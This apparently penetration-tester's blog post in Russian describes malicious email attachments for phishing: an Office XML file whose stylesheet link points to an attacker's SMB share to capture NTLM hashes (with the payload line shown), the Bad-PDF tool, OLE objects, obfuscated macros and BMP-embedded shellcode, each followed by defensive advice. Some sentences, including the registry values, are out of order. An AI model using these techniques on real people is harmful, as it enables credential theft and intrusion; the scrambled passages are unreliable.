Главная » Хабрахабр » Открыть нельзя игнорировать

Открыть нельзя игнорировать

Работу я свою люблю и стараюсь подходить к ней творчески. Моя работа связана с тем, что я вру людям и эксплуатирую их доверчивость, любопытство, жадность и так далее. И в этом посте я бы хотела рассказать о вредоносных вложениях.
Если вам на почту свалится PDF, откроете его? Специфика моей деятельности связана с проведением атак методом социальной инженерии. Станете открывать изображение от неизвестного источника? А вордовский файл? Насколько хорошо вы знаете, какие вложения представляют опасность, а какие нет? Можно ли нарваться на неприятности, если скачать архив? А что насчет ваших коллег?

Какие-то были весьма эффективными, какие-то легко обнаруживались – у каждого свои минусы и плюсы. За несколько десятков проектов я опробовала совершенно разные способы доставки полезной нагрузки до пользователя. С таким старомодным подходом пробиться через системы защиты, а потом еще и заставить пользователя запустить вложение – себе дороже. Я не стану рассказывать, как упаковать исполняемые файлы с расширением .exe в архив. Я расскажу, какие потенциально опасные файлы реально сегодня получить по почте (или отправить).

Автор описывает опыт, полученный во время пентестов, не несет ответственности за повтор указанных атак и призывает не использовать материал в незаконных целях. Дисклеймер: всё нижеописанное носит исключительно ознакомительный характер.

XML

Суть метода

Причастность к XML отображается в расширении документа (docx, xlsx, pptx). Большинство Office-файлов основаны на Microsoft Office Open XML (OOXML), который, по сути, представляет собой сжатый XML-формат, разработанный Microsoft для представления таблиц, диаграмм, презентаций и так далее. Любой Office Open XML-файл можно сохранить как XML и внести изменения в теги. Весьма любопытно, что такие Office-документы можно открыть как обычный текстовый файл со всеми тегами и атрибутами. При запуске XML файл пытается подключиться к открытой общедоступной папке. Например, добавить ссылку на общедоступную папку, подконтрольную злоумышленнику. При попытке подключения по smb-протоколу Windows любезно предоставляет NTLM-хеш (NTLMv2) и логин пользователя злоумышленнику.

Реализация в двух словах

Открыть XML и внести следующие изменения: Для реализации вектора необходимо создать документ Office Open XML (docx, pptx, xlsx, etc.), сохранить его как XML.

<?xml-stylesheet type="text/xsl" href="\\xxx.xxx.xxx.xxx\test\swordfish.xsl">

В указанном теге необходимо прописать адрес общедоступной сетевой папки, к которой будет подключаться жертва.

Далее файл нужно сохранить и отправить жертве. Примечание: вместо ="\\xxx.xxx.xxx.xxx\test\swordfish.xsl можно писать file:/// xxx.xxx.xxx.xxx/test/swordfish.xsl.

Информацию об атаке можно найти здесь.

Примечание: в зависимости от операционной системы и настроек пользователю, возможно, придется согласиться с дополнительными условиями или замечаниями, например:

Статья была бы неполной без советов по защите:

  • Используйте политику сложных паролей.
  • Используйте NTLMv2.
  • Запретите внешний трафик по smb (tcp 139/445).

Bad-pdf

Суть метода

Как и в примере выше, при открытии файла операционная система передает NTLM-хеш (NTLMv2) для подключения к общедоступной папке. В PDF-файл добавляется тег со ссылкой на общедоступный smb-сервер, подконтрольный злоумышленнику.

Реализация в двух словах

Для успешной кражи хеша достаточно скачать утилиту (git clone здесь или здесь) и дать права на исполнение (chmod +x) python-файлу. Реализовать данную атаку значительно проще, чем предыдущую. Далее запустить python-скрипт и ввести IP-адрес, название файла и интерфейс, как на рисунке ниже.


Генерирование файла с полезной нагрузкой.

При запуске файла все хеши будут отправлены к злоумышленнику. Полученный файл можно отправить на почту под видом поздравления, документа на подпись, скана заявления и так далее.

Защита

  • Используйте политику сложных паролей.
  • Используйте NTLMv2.
  • Запретите внешний трафик по smb (tcp 139/445).

OLE-объект

Суть метода

Скрипт может быть совершенно любой, обычно это просто полезная нагрузка. В легитимный Office-документ встраивается скрипт, запускающийся по клику. В отличие от макросов, файл с OLE-вложением у обычных пользователей пока не вызывает подозрений. Он имеет свою иконку, которую можно менять, в зависимости от желаний атакующего, вплоть до полного копирования стиля Office-документов, имитирующих сообщения об ошибках.

Реализация в двух словах

Первым делом необходимо сгенерировать полезную нагрузку. На подготовку к этой атаке придется потратить несколько больше усилий (по сравнению с теми, что выше). Это если кратко.
Информацию об атаке можно найти здесь. Далее нужно запустить сервер, на который будут приходить соединения от payload, после чего создать Word-документ, преобразовать его в RTF и добавить ссылку на полезную нагрузку.

Защита

Для защиты от таких атак рекомендуется внести следующие изменения в реестр:

HKCUSoftwareMicrosoftOffice -> Office Version -> Office application -> SecurityPackagerPrompt

0 (Office 2016); 15. Значение Office Version может быть равно 16. 0 (Office 2010); или 12. 0 (Office 2013); 14. Значение Office application — это имя конкретного приложения Office, то есть Word, Excel и так далее. 0 (Office 2007).

Значение «1» разрешает пользователю «Prompt from Office when user clicks, object executes», то есть объекты срабатывают по клику, и Office отображает соответствующее сообщение. Значение данного раздела реестра должно равняться «2», что будет означать «No prompt, Object does not execute» или фактический запрет на выполнение объектов. Значение «0», в свою очередь, означает «No prompt from Office when user clicks, object executes», другими словами, объекты выполняются, но никаких сообщений от Office пользователь не получает.

Изменения можно внести, если эти функции не используются в бизнес-процессах вашей компании.

Макросы

Раз уж был упомянут OLE, то как же не упомянуть макросы?

Суть метода

Потенциально можно записать абсолютно любой набор команд в макрос и таким образом получить полезную нагрузку. Макрос — набор команд, который призван упростить работу пользователя. Для создания документа с макросом злоумышленнику достаточно обфусцировать код пейлоада и добавить код в макрос документа.

Реализация в двух словах

Можно использовать инструмент Luckystrike или остановиться на более привычном Metasploit. Способов сгенерировать макрос на данный момент существует великое множество. Когда макрос создан, все, что нужно сделать – добавить его в Office-документ. Можно воспользоваться msfvenom и обфусцировать макрос после генерации. На данный момент очень мало пользователей запустят макросы. Но в отличие от OLE-вложения, для запуска макроса нужно приложить действительно массу усилий. Windows уже научилась предупреждать о подозрительных макросах, и разговоров об их опасности было великое множество.

Защита

Для надежности рекомендую отключить исполнение макросов без уведомления.

BMP

Очень маловероятно, что вам когда-нибудь встретится BMP-вложение с шелл-кодом, так что просто знайте: и такие бывают.

Суть метода

Само по себе изображение в момент открытия никакой опасности не представляет. Шелл-код встраивается в картинку в BMP-формате. Картинка нужна, чтобы лежать и ждать часа, когда злоумышленник активирует ее с помощью команды Powershell. Суть не в том, чтобы дать злоумышленнику поднять сессию. Это метод не столько атаки, сколько обхода антивирусов и средств обнаружения вторжения.

Реализация в двух словах

DKMC предусматривает все, от генерации изображения до обфускации кода. Для создания картинки достаточно использовать данный репозиторий. Это легко исправить, если обрезать видимую область изображения на 5-10 пикселей. Также хочу обратить внимание, что «зараженное» изображение будет содержать странные разноцветные пиксели.

После создания изображения файл нужно доставить жертве и ждать подходящего случая или искать возможность запустить powershell-скрипт.

Защита

Можно использовать конверторы и сохранять изображения в иных форматах, проводить инспекцию файлов на компьютерах или принять тот факт, что если у злоумышленника получилось использовать powershell-сркипт на компьютере работника, то наличие изображения с шелл-кодом не основная проблема безопасности. Отфильтровывать каждый bmp-файл как потенциально опасный неэффективно.

Надеюсь, статья расширила ваши представления о вложениях и опасностях, которые они могут нести. Вот, собственно, и всё. Чуть позже поговорим о подозрительных ссылках.

Екатерина Рудая, эксперт лаборатории практического анализа защищенности, «Инфосистемы Джет»


Оставить комментарий

Ваш email нигде не будет показан
Обязательные для заполнения поля помечены *

*

x

Ещё Hi-Tech Интересное!

[Перевод] Введение в ptrace или инъекция кода в sshd ради веселья

Конечно, это несколько искусственная задача, так как есть множество других, более эффективных, способов достичь желаемого (и с гораздо меньшей вероятностью получить SEGV), однако, мне показалось клёвым сделать именно так. Цель, которой я задался, была весьма проста: узнать введённый в sshd ...

Дайджест свежих материалов из мира фронтенда за последнюю неделю №339 (12 — 18 ноября 2018)

Предлагаем вашему вниманию подборку с ссылками на новые материалы из области фронтенда и около него.     Медиа    |    Веб-разработка    |    CSS    |    Javascript    |    Браузеры    |    Занимательное Медиа • Подкаст «Frontend Weekend» #79 – Олег Поляков об основании CodeDojo и о том, как это стало основным местом работы• Подкаст «Пятиминутка React» ...